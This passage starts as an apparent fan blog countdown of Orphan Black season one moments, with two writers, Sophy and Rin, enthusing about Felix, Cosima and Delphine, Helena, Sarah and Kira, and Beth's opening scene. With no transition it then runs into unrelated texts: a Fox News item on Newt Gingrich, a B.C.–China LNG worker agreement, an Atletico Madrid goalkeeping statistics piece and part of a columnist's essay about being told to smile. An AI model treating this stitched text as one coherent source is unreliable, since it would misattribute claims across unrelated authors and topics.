THESE CHILDREN THOUGH. The boy was so adorably disgusted by the notion of cross-dress-ups – and hey, let’s face it, a lot of little boys his age are disgusted by the notion of dress-ups full stop – but Felix didn’t care how typical or understandable or ‘normal’ or possibly entirely unhomophobic it was, he was just disgusted right back by this kid’s flagrant unwillingness to allow him to play pied piper. And then the girl thought about it and was all ‘I’ll dress up as a boy!’ and RECEIVED SUCH APPROVAL. Just like if Felix was a chef and one kid didn’t want to try his roquefort souffle and the other was all I’LL TAKE TWO. Now I’m picturing him in one of those tall hats beating eggs. Naked.
Rin says: Him and Drogo would make such cute chef friends. There should probably have a reality show.
It’s interesting because Felix is definitely a cliché of a character on paper. HE’S THE SASSY GAY BEST FRIEND/BROTHER. We’ve all seen it before, many times over. What I think makes him work as well as he does is quite simply down to the brilliance of Jordan Gavaris and his amazing chemistry with Tatiana. Sure, Tatiana is hands down the break out star of the show, and is pretty much one of the best actors currently on television. But Jordan deserves major props too for what he’s been able to achieve with Felix. Especially when you see videos of him in real life and he’s like.. the anti-Felix.
Sophy says: I THINK FELIX WOULD LIKE CHEF DROGO. A LOT. ESPECIALLY IF HE WAS NAKED TOO.
Also, I think you really hit the nail on the head there. What makes Felix so awesome is that he is a total cliche but at the same time so well written and acted that it’s like the cliche is brand new again. Like, there has never been a sassy gay sidekick before Felix Dawkins, okay?
Okay.
‘Does your daddy have a drinks trolley?’ Just.
Also ‘FETCH ME SOMETHING GAY’ should be on a t-shirt.
08. COSIMA STOP COUGHING BLOOD IMMEDIATELY.
“I’m sick, Delphine.”
Sophy says: This was the jumping off point for Delphine/Cosima for me. For a lot of people it was the ALKDAFJALDKJLFKJ point, but for me it just feels like the beginning (although with ALKDAFJALDKJLFKJ). Not that I didn’t love their moments prior to this, but I didn’t really feel like I was shipping anything so much as enjoying watching a story unfold. At this point though, when Cosima looks Delphine in the eye and stops being strong? I’m as helpless as she is.
Tatiana’s delivery on “I’m sick, Delphine,” was outstandingly puppyish and the choice to have Delphine hug her at that point rather than kissing her was perfect. Somehow it seemed right for her to care rather than want in that moment – to give affection without expecting Cosima to go back to that romantic place they were in when everything was a lie (not everything).
I think because she is so remote for most of the series and we don’t meet her friends and family, Cosima feels like a terribly lonely character and this is the first time she really seems like she’s with someone – someone who’s there for her and her only. Delphine seduces her. They flirt. They shag. They do things like icecream in bed. And throughout all of that Cosima is easy-going and tries not to see around corners and Delphine is philosophical and a liar. But now? This moment? It’s wholly honest. And that’s when I realized how much Cosima had been holding back, too. Because she presented herself as a suitable suitor – someone strong, capable, sensible and straight-forward. But the truth is she’s as scared as anybody else and has even more reason to be.
OH GOD COSIMA WOULD YOU STOP COUGHING BLOOD? PLEASE? RIGHT NOW?
So yeah, as much as I loved “That’s oddly romantic. And totally encouraging,” this was the big deal for me in terms of Cophine. Because it was from this point on that I allowed myself to start thinking of the relationship as an actual relationship.
NOW IT’S SOMETHING THAT CAN BE DAMAGED BY POOR WRITING CHOICES, YOU GUYS. MY SHIPPERLY INSTINCTS ARE KICKING IN.
Rin says: ARE YOU KIDDING. SINCE WHEN DOES ORPHAN BLACK MAKE POOR WRITING CHOICES. I have so much faith in this show that I’m fully prepared to go down with this ship. They’re going to tear us apart
I think they weren’t as shippable before this moment because it was a relationship built on a lie. Delphine inserted herself into Cosima’s life under false pretences, so now when everything is out in the open and they no longer have to hide things about themselves, is their chance to start again. UNFORTUNATELY THAT ALSO COMES WITH COSIMA COUGHING UP BLOOD. JUST STOP IT.
I am also super excited to get to know Delphine more. And I think we’ll get our wish because I know she’s a huge fan favourite, deservedly so, and I can’t wait to get under that characters skin. ALONG WITH COSIMA. THERE’S GOING TO BE A LOT OF SKIN. WHAT.
Little Cosima’s lip quiver after she’s told Delphine that she’s sick. And that she tells her after they learn the horrible truth that they are patented. Man alive. It was like after learning that, she had nothing left to lose so why not put everything out in the open. She needed to be completely vulnerable and open in that moment because she needed comfort. She needed it from someone who knew her completely and there isn’t any time left for there to be secrets.
Also I have to give a shoutout to the way Felix opens the door for Delphine. JUST SHOUTING “IT’S DELPHINE!” and then “She’s got baggage.” Which is SUCH a great line at this moment in time.
Sophy says: Rin, there was a time when we would have said Dexter didn’t make poor writing choices. Trust no one.
07. Fe and Alison though!
“Hey! Sharesies?”
Sophy says: Felix’s scandalized “Hey” followed by his imploring “Sharesies?” when Alison brought out the xanax was one of those actually-squealing-out-loud moments for me. And this whole scene in general was pretty superb. Much is rightfully made of how different Tatiana is depending on which clone she’s playing, and that is never more apparent than in her relationships with Fe, as Sarah and as Allison. The dynamics of both relationships are strong, but they have an entirely different chemistry. It is impressive that these two were able to build two completely different and equally compelling BROTP relationships in the space of a 10 episode season. But hey, Orphan Black is being impressive, what else is new?
And you guys I love the kindness of Felix and his ability to relate to basically all and sundry. He adapts himself extremely well to complex emotional situations and forms bonds so easily – even with an uptight control freak bitch-lover-mother who has the exact same face as his basically-sister and introduces herself with violence. That’s water under the bridge when Alison needs him and you have to respect someone who’s so capable of just… moving on. Felix doesn’t hold onto shit. And I love that about him. I love that he knows how to calm a clone in the middle of a quarter life crisis. I love that he cares enough to do it. I love that he gives her confidence. I love that he helps her get her game face on.
I hope he never finds out about Ainsley. Although, having said that, I can imagine Felix moving on from that too. He doesn’t strike me as particularly moral or prone to outrage.
And now that I’m thinking about Felix and the things he wouldn’t have moral outrage about I’m back in that place where I’m scared that he will turn out to be Sarah’s monitor. Don’t worry, you guys, Rin has already reminded me there’s a 90% chance I’m just being anxious over-invested conspiracy theorist loser. I know, I know, I know. But given recent developments on Agents of SHIELD I wanna say that just because you’re paranoid, it doesn’t mean they’re not out to get you, okay?
The paintings make me anxious. The keeping-his-cool makes me anxious. The way he looks at Sarah sometimes when she’s engaged in conversations that do not involve him? Makes me anxious. And then I read an interview not long after the first season wrapped in which Jordan commented that Fe is just the kind of guy who would follow his big sister around everywhere, and man, that really drew my attention to the way Felix is just kind of… there. Watching.
RIN PLEASE TALK ME DOWN FROM THE EDGE AGAIN.
Rin says: URGH NOT AGAIN. And basically my entire basis of an argument that Felix isn’t Sarah’s monitor is “I don’t want him to be :(((“. Seriously that’s it. No evidence or anything. Just not wanting to have to deal with the major fallout and betrayal that would happen if he was her monitor. It would actually be pretty delicious and angsty, but it would cause Sarah so much pain and I don’t want that.
Although I think the strongest reasoning I do have is that he grew up with Sarah, and they wouldn’t make a kid be a monitor would they? Not because they have morals or anything like that, but simply because trusting a kid with such an important covert job like that would seem a bit irresponsible.
I think it’s entirely plausible that Fe could be her monitor. And it’s something that I would probably enjoy. BECAUSE IT WOULD BE A HUGE THING THAT THEY’D HAVE TO WORK THROUGH TOGETHER. And so much heartbreak.
And then I don’t want it to be the case because SO MUCH HEARTBREAK.
I don’t know you guys!
I do love Fe/Alison though. I love the unlikeliness of them as a bonded peas pair, and “SHARESIES!” was one of those ridiculously hilarious moments. I am scared though for what’s to come. Mostly because of Alison and what that means for her relationships with everyone else.
Sophy says: OKAY MAYBE HE’S NOT HER MONITOR BUT WHAT IF HE’S LIKE… IN ON IT. WHAT IF HE ISN’T HER MONITOR EXACTLY BECAUSE HE WAS A CHILD BUT THEN WHAT IF HE FOUND OUT AT SOME POINT AND AGREED TO WATCH HER FOR LIKE……….. EXTRA POCKET MONEY I DON’T KNOW I’M HYPERVENTILATING A BIT.
I’m always afraid of everything whilst watching this show.
06. WHY WHY WHY.
“You are all I have now. I love you.”
Sophy says: When Helena staggered softly towards Sarah and put her arms around her and said those words: ‘You are all I have now. I love you’…
I experienced all the emotions. At once. This was horrific and sweet and terrifying and such a relief and it was funny and it was very, very serious business. It was all the things.
But again, that’s Helena, isn’t it? As I mentioned above she’s pretty much impossible to pin down, which could be on account of her being, well, jean-shorts crazy. She’s unpredictable because she doesn’t make sense – because who she is and what she has been told she must do just does not make sense. This poor girl was born into chaos. She adapted to that chaos by becoming a chaotic entity. But this is one of the key moments where we see Helena make sense. Her own special kind of sense, but sense nonetheless. Sarah freed Helena from her cage. So she loves Sarah. Add to that that having had her revelation in the alleyway with Kira, Helena knows that everything that has made the misery and loneliness and madness of her life bearable has been a lie. She’s not the original. She’s not an angel. She’s not the light. So now all she has to hold onto is what she would have been: this sane girl with her face. This sane girl with a glorious child.
It’s terribly sad and beautiful that Helena feels this particular connection to Sarah before she has any idea why. It’s terribly sad and beautiful that she understands without knowing why that she came so close to being her. They are twins. One went to foster care and the other… went to hell.
Rin says: Oh my god. It’s both bad and amazing that we’ve tarnished poor Sophia’s reputation so much that she is comparable to HELENA.
They’re kind of like Neville and Harry aren’t they? It’s always interesting to sit back and think about what lives could have been depending on circumstance, how easily things could have gone the other way. And Orphan Black probably tackles the debate of nature vs nurture to a t, having these clones reside in different parts of the world and seeing what becomes of them. It’s something that I can actually see happening eventually in the future. AFTER WE’RE ALL DEAD OF COURSE SO WE WILL NEVER KNOW. But still.
Poor Helena though. She was such a primal character, like if Buffy Beer Bad was done seriously. And for her it is as easy as one small moment of kindness, or mercy, and I LOVE YOU. She doesn’t exactly have the emotional capacity or range of a regular person. She’s like an abused puppy you guys and my heart breaks for her.
BUT.
SEE? DO YOU SEE? YOU HAVE TO SEE.
Sophy says: OMG BUFFY WAS PLAYED BY TATIANA MASLANY????
Rin says: Or was Tatiana Maslany played by SMG??
05. No deal!
“They patented us.”
Sophy says: This, right here, is really, really good television. It’s that magic moment, you know? When a show can make you buy something totally ludicrous – buy it and pay for it instantly with all of your feelings. There are so many twists and turns in Orphan Black that you don’t see this coming – that Sarah and half the people she hangs out with these days who happen to look exactly like her… they’re owned. They were made to be owned. By someone other than themselves. (And when I think of all of the things the show would be able to do there in terms of Sarah and Mrs S’s rivalry over Kira and the right and wrong reasons to have kids and the right and wrong reasons to love them… I have tingles.)
But it’s totally implausible, right? This idea that they’re owned. I know that. Cosima knows that. Sarah knows it. And yet in the moment the words are passed from one to the other it is palpably real. It’s happening to them.
The thing is that yes, however little faith you may have in the law and/or humanity, the chance of a patent on a person being enforced is slim to none. The chance of the whole world trying to put the patenters in jail forever? High. But that doesn’t change the fact that officially, as things stand, right now, under the law, these women do not belong to themselves. There is a fucking barcode in them. How are you even supposed to feel about something like that?
A little taken aback, I would think?
Tatiana is always amazing, but I was particularly impressed in this scene when she shares what Cosima has told her with Paul – Paul who has slinked back to the dark side – because she is so shocked by this sense of alienation from her own existence that she can’t help but speak – that she can’t help but be vulnerable.
And hey, maybe a part of her knows he will help. Maybe a part of her remembers that when she told him the truth over drinks she didn’t get the one with death in it.
Sarah’s certainly not a damsel, but she does recognize when she needs help. And maybe she’s not that attached and maybe she wouldn’t be sappy about it even if she was, but she does know that Paul can help her, if he chooses to, right now, in this moment. And there’s no sense denying she needs him, if only to get away from him – if for whatever reason he does decide to go against her it won’t matter how hard she pushes the button to go down or how close to the door she stands. She can’t run – not without him on her side.
Sarah has been running ever since we’ve known her. She tells Paul she doesn’t do run and she means it, but what she means is that she doesn’t back down from a fight – that she leaves no man behind – that she’s brave – that she is a soldier. And there are so many ways Paul loves that about her – hates that about her – idolizes her for it – fears her – finds comfort in her. There are so many ways in which Sarah is everything Paul wishes he could be. But still, she has been running – not away from the chaos so much as with it. She has been trying to keep up with every crazy new piece of information that’s flung her way, since the moment she looked into a sad woman’s eyes and saw herself – watched that self die by choice. She accepts everything quite placidly. I had a twin? Oh hey, cool. I can be American in 12 hours. I can be German too. Rock and roll. And by the way, I am not a triplet, I am a clone, but we don’t use that word. Oh and one of them wants to kill us all. Moving on. My alter-ego’s boyfriend’s alter-ego is my boyfriend – sort of – maybe – we fuck and we nuzzle and we try not to talk about it.
Sarah takes all of this in her stride. That’s not to say it doesn’t freak her out. It’s just that she doesn’t have time to be freaked out. It’s just that she’s not that kind of person. So I think in this moment a lot of what she’s been shunting to the side while she’s out getting shit done hits her all at once like truth, boom. This is what it’s all about. This is what it means to be created-not-born.
She is shocked. And she is vulnerable. And she is also being smart.
Paul is a knife-edge. She knows this. He loves her maybe – wants to love her, certainly. But he is not a good man. He is not steadfast. And here he is, back on Team Evil because it’s easier that way.
But she also knows that once he gave up everything including his chances of staying alive to tell her to run. She also knows that how far he is willing to go for her is at least in part a function of how far she asks him to go. She also knows that a moment ago he told her the biggest secret he has. A moment ago it mattered enough to him what she thought of him that he gave her the same leverage over him that Team Evil have. She could use that against him now. And not only that, she could also judge him for it. She could find him miserable – pathetic – contemptible. She could find him to be the very opposite of what he thinks she is.
Giving her that power is a huge leap of faith. So Sarah leaps too. She treats Paul like she trusts him, and all the choking tension of this scene dissolves in one fizzing rush. Suddenly Paul and Sarah are entirely present with each other – and that is the moment they are whisked away from us.
This is the best part, you guys. We don’t get to know anything except that they’re gone. We don’t even know whether Paul came through – not for sure. We don’t know what else he has stashed up his too-neat sleeve or how easily the ghost of his actions in Afghanistan could turn him against Sarah again. We don’t know whether he’s damaged or dangerous or how much of a difference there really is (hello Helena, goodbye Helena).
I love this. I love that we have spent a whole season with Sarah and Paul and I am totally invested in whatever is going on between them and yet I still could not say with certainty that he isn’t double-crossing her this time or that she would not kick him under a truck if it meant Kira or Felix would get a happy Christmas.
I revel in the uncertainty. It is so rare to not be able to see the writers sitting around sipping tea and ticking off OTP boxes – or not. I have no idea what’s going to happen next.
For now I just like to picture Sarah and Paul running prettily through an underground car park under the building and Sarah’s typing her special message into her phone and Paul is laughing and feeling free, the way he always does with her before she’s gone and he remembers that he’s not – that he never will be.
Rin says: This was such an epic moment and end to the season. It’s the kind of reveal that satisfies you as a finale, but also makes you go crazy over wanting more, needing to know what comes next and how everyone is going to deal with it. It’s the perfect setup for a second series and I’m pretty happy that we’re so behind on this that series 2 actually airs tomorrow and I don’t have to feel that dreaded sense of wait whilst writing about all of this.
I can’t wait to see where it all goes, and how it’s becoming such a huge US against THEM, despite the THEM having one of their very own clones in the mix. Now more than ever our clone babies are going to have to band together, and then you wonder how Alison still fits into that equation, plus we just don’t know how many more clones are out there. It could be a few more, it could be MANY more. Which ones would be happy to take a “deal” and which ones wouldn’t?
BUT ALSO. JUST. THE EMAIL.
“UP YOURS,PROCLONE.
Sent from my Mobile Phone.”
I don’t know. There’s something funny about Sarah and technology. Like you kind of expect her to be a grandma about it all. She’s no Cosima, that’s for sure. Sarah is basically being an angry fangirl after the writers have killed off their favourite character. If she had a twitter account she’d be livetweeting this shit, but Sarah Manning does not know how to use Twitter
04. Best mother/daughter ever?
“Well, you’re big to me.”
Sophy says: When I came to start writing about this scene I actually had to go and double check that Tatiana Maslany was not a mother, no matter how young she is. Because. I know a lot of people play mothers when they’re not. And a lot of them are great at it. But I guess it just kind of stands out more with Tatiana on account of how she plays all these characters who are not the mother-type and Sarah is very much one of them and yet she is MOTHER, all caps, when it counts.
One of the best things about the writing on this show is that nobody elicits emotions from Sarah like Kira does, with the possible exception of her birth mother, and only because she was being ripped away from her in the most brutal and traumatizing way possible. Nobody gets this side of Sarah to come out – not her best friend or her love interest or the woman who raised her – nobody except Kira. She is giddy, tearful, totally alive, more terrified than she was when she saw her own face staring back at her for the first time, more terrified than she’s been when people are shooting at her or when, you know, some fat guy with a fucking tail shows up. Everything rides on Kira for Sarah. Everything depends on whether she knows her and loves her and wants her in her life. Everything depends on whether she hasn’t ruined this magnificent little person she created – and that she hasn’t ruined their relationship either.
“You’re big to me,” is probably the line of the season to me. It’s actually one of my favourite lines of all time.
Rin says: I think one of the great irony’s of Sarah is that as much as finding out that you’re a freakin’ clone can destroy a person — it actually does the opposite to her. It makes her become a better person. Even though the series starts with Sarah wanting to reconcile with Kira and ride off into the sunset along with Felix, you kind of wonder if she should. Like.. IS THIS WOMAN A FIT MOTHER? Because where the hell has she been, and what she just stole a purse from someone who just killed themselves before her eyes and OH YEH SHE LOOKED EXACTLY LIKE HER, and oh now she’s going to her house and becoming her and wanting to take over her life for some money, and oh she stole cocaine from this dodgy guy and … Yeah. You get the picture. She’s not exactly mother of the year material.
And then she gets bombarded with this entire world that she never new existed but was always a part of. It forces her to become someone who kind of gets her act together (in the messiest way possible). Sarah has always had to be strong, to deal with the cards she was dealt with, but everything that happens makes her become stronger in a way that she probably never had to be before.
I think she’s gained a much greater sense or purpose now than she has probably ever felt before. Keeping Kira safe is number one on the list, but now she also has ties with Cosima and Alison. To something that is much bigger than herself, and as much as running away and pretending none of this ever happened is enticing, she knows that it isn’t an option. I think in a way that makes Sarah a more grounded person, a more responsible person, and someone you can count on. She’s never going to leave Kira’s side again and she has become her ultimate priority. No matter what.
Sophy says: YES. Everything in Sarah’s life goes to shit when she finds out she’s a clone, but I also think it has been and will continue to be a real journey for her, in terms of being a leader and a nurturer and basically saving the world a lot.
Interesting how Alison unraveled this season and Sarah kind of… raveled tighter.
03. Helena has killed the dream Sarah dreamed.
“You gave me to them. You let them make me this way.”
Sophy says: This is probably the most shocking moment of the show so far and that is saying something because this show is anything but gentle with its characters – and its viewers. I hate the fact that Helena and Sarah’s birth mother dies so abruptly and so early in the piece. I hate the fact that Helena dies so abruptly and so early in the piece. But I really, really respect the show for going there. They had to know that Helena, in particular, was likely to be a fan favourite, and they did not let that deter them – or Sarah – from pulling the trigger when the time came. Nobody is safe in Orphan Black-land and to keep that tension alive they really had to deliver some finality – especially given Kira’s supernaturally miraculous recovery from an encounter with a car that should absolutely have killed her.
But this scene isn’t just brave in terms of killing off one character and setting up the death of another, it’s brave in terms of following who Helena is through to an honest conclusion. They don’t romanticize her crazy. They don’t make it something love can save her from. They don’t skirt around it to the point where you can just call her eccentric and turn a blind eye to all the ways she has been made a monster.
That’s what she says to the woman she was born from, isn’t it? You gave me to them. You let them make me this way. It’s another moment of clarity for Helena. It’s a brief window in which she understands what she is and why what she is is not okay – not lovable – not liveable. And it’s the moment we know she cannot change. It’s the moment her fate is sealed.
Sarah won’t forgive her for this – she can’t. And Helena will not be able to respect that and move on – she can’t. Sarah is all she has. And the thing is that when you watch Sarah as she watches her birth mother take her last breath, that’s when you know she will pull the trigger no matter how much Helena thinks she won’t. Is it sad that Sarah doesn’t reach out to Helena with forgiveness and love instead? Sure. Is it unreasonable? No. I love that Helena is not here to be fixed. I love that Sarah does not see it as her job to fix her. This is not that kind of story. We are not so sentimental.
And yet it breaks my heart to see this person Sarah has been dreaming about her whole life – this person Helena would have been dreaming about her whole life if her mind wasn’t addled with angels and pain – simply die.
But all emosplosions aside, what makes this scene so great is just the way it was set up and executed. I think when I was watching I tweeted something to the effect that poor Sarah was starting to get Helenaesque circles under her eyes and two seconds later I knew, on some level, what was happening, but not long enough to be prepared for what came next. It was totally artfully paced and put together, and the image of the wig slipping from Helena’s head and revealing her blonde angel-hair as the knife sunk in to the only woman she had even known to be a mother? Heartbreaking. Breathtaking. Fucking ugly.
Rin says: GOD DAMNIT HELENA.
That’s the beauty of it all though. Like Sophy said, Orphan Black doesn’t try to dress up Helena up and make her something she isn’t. All of the adorable muffin and bread eating can’t shield the fact that Helena is beyond repair. You can’t be abused your entire life, made to be a killer, and somehow come out of it on the other side unscathed.
Orphan Black is so cruel. I’m sure we were all right there with Sarah in that moment that she found her birth mother. And had so many questions and why why why’s in our mind that we wanted answers. And also maybe someone to call home? BUT THEY DON’T WANT ANYBODY TO CARE. They take her away from us, in a 2 for 1 deal and it’s like Joss says. Don’t give them what they want, give them what they need.
Did I really need this though Orphan Black? Did I??? What did I ever do to you.
I know this is starting to sound like a broken record, but whatever I don’t care! How did Tatiana not clean up during awards season? She deserves one for that second cap alone. It’s Helena face, cleaned up just a little to resemble Sarah, but the way her head is titled and her brow slightly furrowed and her lips parted. THAT IS HELENA. She puts all of these little nuances into every clone and it’s beyond me how she can manage to separate all of them. It’s kind of like when you’re able to tell identical twins apart but no one else can, even though they look SO DIFFERENT to each other and omg are you blind?
Also just the touch of getting a small peek at Helena’s scars before the wig reveal was a nice subtle touch.
Sophy says: You know, I watched that Cloneversation special and somebody said how great it was that time Tatiana played a clone playing a clone, and I’m pretty sure they were referring to her impersonating Alison with the glue gun, which was pretty amazing, as discussed above, but… SHE’S ALWAYS PLAYING A CLONE PLAYING A CLONE AND IT’S ALWAYS AMAZING.
Like, really, Sarah as Beth, Helena as Beth, Alison as Sarah, Sarah as Alison, Helena as Sarah. All of these were perfectly executed – or less than perfectly where it is perfect for that to be the case.
Hopefully now that Cosima is with them in the flesh she’s going to get to go under clone cover.
Rin says: Omfg, I can’t wait for Sarah to impersonate Cosima. She’d go the full nine yards and get dreads and everything while running lines in the hairdressers chair.
Sophy says: OH NO BUT HOW IS COSIMA GOING TO FIT HER DREADS UNDER A WIG?
02. Helena dances. With tail.
Throw your hands in the air like you just don’t care!
Sophy says: This one time, Helena cut a fat, little man’s precious tail off, and danced with it in his club while he cried. RIP superstar.
Rin says: I’m really really really upset with this being at number two.
Because the human tail really really upsets me.
REALLY REALLY UPSETS ME. JUST WHY. WHY IS SHE HOLDING IT AND BEING SO GROSS AND SO WRONG AND SO HELENA? Sigh.
But I think that’s exactly why it’s so brilliant. It is all the wrong things in the world, and they were brave enough to do it. And then freakin’ dance around with it, flaunting how brave they were. What other show has had someone grow a human tail, had it cut off, and then had the person dance around with it? None.
But seriously. It doesn’t make it any less disgusting.
THE WHOLE NEOLUTION THING IS SCARY. STOP. JUST STOP.
Sophy says: YEAH JUST STOP WITH THE NEOLUTION ALREADY COME ON.
Although without Neolution THERE WOULD BE NO CLONES? THE WORLD IS A BETTER PLACE WITH CLONES? THE WORLD IS A BETTER PLACE WITH NEOLUTION?
So I vote we just cut the tails off.
01. Down the rabbit hole.
Yikes.
Sophy says: The moment that started it all. Rin and I count ourselves lucky to have been warned by kind Rophites not to read anything about the show before watching it, and that meant that when this happened it was actually bizarre to us the way it was to Sarah, rather than to-be-expected-in-a-show-about-clones. Still, I think even if we had known it was coming we would have been somewhat blown away by the sheer haunting, sleepy and sudden beauty of it.
We learned so much about Sarah in this moment and all the ways in which she may be our heroine but she’s not our hero – at least she’s not the hero we might expect her to be. She watches a woman kill herself and her first instinct is to take advantage of that. What kind of a person does that make her? It’s a credit to the warmth of Tatiana’s performance that we want to find out – that we want to follow her, understand her, love her, even as she sets the show in motion by doing something phenomenally callous and calculating.
And then you factor in that the reason she can take advantage of this woman’s suicide is because she looks exactly like her and you realise even if she’s capable of being callous she’s also strong – dazzlingly, jaw-droppingly strong.
And Beth. Beth.
Orphan Black seems like the kind of show that is never going to do flashbacks and I can understand why – this is about immediacy and it’s also about mystery. Sarah is navigating a world she doesn’t understand and we are navigating it with her. We make sense of things piece by piece and having the kind of omniscience that is implied by flashbacks would interfere with that process. Having access to that kind of omniscience and only using it when it suited? It would run the risk of seeming like a cop-out in terms of the writing. What we know of Beth we know largely through third-hand glimpses and home videos – what other people say – the clothes she wore – the ways Paul knows Sarah is different – and it’s likely to stay that way. But it’s a testament to how well her character was established that we want to keep getting to know her. Even without flashbacks Beth’s presence hangs like a soft shroud over Orphan Black as much as Lilly Kane’s did over Veronica Mars. She is there with us, all the way, and that would not be the case if not for the strength of Tatiana’s performance in this opening scene – the one time we ever see Beth Childs alive.
She is in so much pain. She is so wearied and frayed and beyond fear. She is at the end of the world. And we feel every bit of it as she turns around to stare us in the face with hooded eyes, as she walks forward to her chosen death, her posture half-crumpled, half-surging, her feet barely there, wisps of hair blowing around her lips.
It is magical in the most horrible way. It is a credit to Tatiana, to the writers, to the director, cinematographer, costume department, everyone. This scene is perfect.
This show? Is perfect.
Rin says: Yeah looking back I am so glad I didn’t know a thing about the show before watching it. And I love that feeling of not having a clue what to expect and getting thrown head first into a show, patiently waiting for it to woo you and show you everything it’s got. With Orphan Black it was like love at first sight, it took us 3 seconds to know that this was a show that would matter to us. Really matter. In the way only a handful of shows really do. I don’t think it’s outrageous to say that this show stands up against some of the greats, Buffy, Angel, Skins when it was at its best…
And to narrow it down even further, I don’t think there are many other shows that have had as great of an opening pilot as Orphan Black. Lost will probably always be one of the best show openers I have ever seen, because at the time I’d never really seen anything like that. The sheer epicness and scale of it all was amazing. And here is Orphan Black, using one actor and a train station, being almost as mind blowing as a boeing plane crash on a beach with tonnes of people running around. And like Sophy said, that is purely down to everyone involved in the production getting it right.
There’s something incredibly sad and beautiful about the way Beth takes off her heels just before killing herself. That she leaves these pieces of herself behind, that makes you want to know everything about her. What drove her to want to kill herself, and in such a brutal manner. She looks so lost and completely done as a person, and when she turns to Sarah you can only imagine the thoughts running through her head. Because Beth knows about the clones and it’s like.. LOL FUCK ANOTHER ONE? SRSLY. YES DEATH PLEASE.
I wish we could have known more about Beth and have had the opportunity to experience a little bit of her journey alongside her. It would have been incredibly sad and probably torn all of our hearts out, but we would have all loved it. It definitely says something about the way the writers and Tatiana handled and cared for these characters that we can say it could have gone either way at the beginning. It could have been Sarah who died, and Beth who lived on and the show would be very different yes, but overall the quality of the show wouldn’t have changed. It’s definitely a testament to the creators that when you think about it, any of the clones would be strong enough to have been the central character and it would have worked.
HAVING SAID THAT. SARAH IS OUR BABY. And I wouldn’t have it any other way.
I am so ridiculously pumped for season 2. It feels like we’ve been waiting since forever, but now that it’s here I am kind of scared and worried at how fast it’s all going to be over. You know how babies or pets get separation anxiety from their parents? I get that with TV shows.
Sophy says: DO WE HAVE A FAVOURITE CLONE? Because we can do that thing where we cheat and pick two even though there’s only one Rophy.
I’LL TAKE SARAH.
And not just because she’s the least likely to die.
Rin says: NO WE CAN’T PICK FAVOURITES OKAY. This isn’t like when we pick favourites for Tegan and Sara and reason it out by having one each. There’s going to be someone left out and DO YOU WANT THAT BLOOD ON YOUR HANDS? DO YOU?!
Fox News says it is suspending its contributor agreement with Newt Gingrich "due to the intense media speculation" about him as a potential vice presidential candidate of Republican Donald Trump.
Jay Wallace, executive vice president of news at Fox, said Tuesday the network thought it was best to stop Gingrich as a contributor to avoid any conflicts of interest.
The former House speaker joined the network in 1999, and his role was suspended in 2011 when he ran for president in 2012. He returned to Fox in 2015.
VICTORIA — B.C. and China have inked a new agreement that will see the two governments work to allow foreign workers into the province if needed to help build a liquefied natural gas industry.
The provincial government and the People’s Republic of China signed the non-binding memorandum of understanding this week, which pledges co-operation and information sharing to help develop B.C.’s LNG industry.
The two sides will “work together with the appropriate authorities to secure and facilitate the entry of foreign workers” in B.C., while “respecting the priority of hiring domestic labour wherever possible,” according to the agreement.
Natural Gas Minister Rich Coleman has said B.C. could need temporary foreign workers to fill some of the 100,000 jobs that would be created if several B.C. LNG facilities materialize.
None of the multinational corporations considering LNG plants in B.C. has yet made final investment decisions.
China “respects” B.C.’s jobs strategy to create more apprenticeship and skilled trades training opportunities for the LNG sector, Coleman said in a statement Friday.
“Some jobs will not be filled by British Columbians, either because they require highly specialized experience in the LNG industry or because we do not have enough workers in the province to meet the level of demand,” he said.
“Our priority in filling those jobs includes making sure British Columbians are first in line for job opportunities, then Canadian workers followed by U.S. and international workers.
“The MOU signals an understanding there could be a need for foreign workers to support LNG construction in B.C. and that the applicable agencies will work closely together moving forward to facilitate this if needed.”
One of the stories of their season is their young goalkeeper, Thibaut Courtois, who is on loan at the Estadio Vicente Calderón from Chelsea. Over the course of the season, he has only conceded 11 goals all season – the lowest by any team in La Liga! His performances have attracted the attention of clubs such as Barcelona, who are rumoured to want to take him to the Camp Nou. With such hype surrounding him, we used the stats at our disposal from Atletico’s games in La Liga so far to see if he really is that good.
The first thing that we noticed was that he made no mistakes when it came to low risk shots. The average keeper would have conceded 1 goal from such shots whereas Courtois did not concede any goals. That being said, goalkeepers don’t just face low risk shots so we looked a little deeper and discovered that Atletico’s opponents were restricted to make only 10 shots on goal that had a likely chance of being a goal. Courtois was already out of his goal for one of these shots following a ground cross so he was not in a position to make a save. From the remaining 9 shots on goal, however, he only managed to save 1 of them. He also scored an own goal in Atletico’s only defeat this season against Espanyol. Out of the 4 medium risk shots that he faced, he did manage to save 3 of them, conceding only one.
This means, essentially, that you could place an average goalkeeper in the Atletico goal and you would get similar statistics. So clearly Courtois has not been as spectacular this season as the hype would like us to believe. If this is case, the question remains as to reason for Atletico’s defensive success. To answer this, we expanded our research to include the defensive players of Los Indios.
Atletico Madrid Opposition Goals per game 2.8 0.6 Shots per game 15.3 8.4 Shots on target per game 6.9 2.3 Building attack actions per game 427.5 479.1 Pre chance actions per game 53.9 28.2 Chances created per game 10.9 3.9 Live ball possession 47% 53%
Despite the fact that their opponents have more possession than them and thus are involved in more attacking build ups, the Atletico Madrid players are very efficient when it comes to the things that count. Their second defensive line, this being the defensive line protecting the goal and based well within their defensive half of the field, is almost impenetrable. We see this from the fact that their opponents have 479.1 building attack actions per game – these being the actions whereby the opposing players attempt to build an attack on the Atletico goal – as compared to the 427.5 attacking actions per game that Atletico have. Yet when it comes to actual chance creation, essentially the next level of an attack, Atletico have 53.9 such pre chance actions whereas their opponents only have 28.2.
As we get closer to goal, we see that the opposition has been even further restricted to a mere 3.9 chances, on average, from where a comfortable shot on goal could be taken. This is significantly lower than the 10.9 chances that the Atletico players create for themselves. Further, the Atletico defence restricts their opponents to a lowly 2.3 shots on goal per game whereas they have 6.9 on target shots per game.
I am quite frequently instructed that I should smile more. There’s been an outbreak of this on Twitter recently, along with various snippets of analysis of my character, suggesting that I am sunk in permanent bitter, hateful gloom. This is an offshoot of the pronouncement that ‘You Have No Sense of Humour’ to which there is no real reply, and which helps to train me in the self-restraint which I urge on others.
While there is no real reply to it, the ‘Sense of Humour’ can actually be rebutted technically. But this is no use at all, as we shall see. My archive department tells me that I have, on various radio and TV appearances, intentionally caused members of live audiences to laugh on several separate occasions. I have even laughed myself. I know this to be true. I believe that recordings of some of these events can be found on YouTube. But I also know that most people who have watched or listened to these programmes will not recall the laughter, and will still maintain that I have no sense of humour, never smile, etc. The claim actually has nothing to do with my sense of humour. It has to do with the fact that image is more powerful than reality.
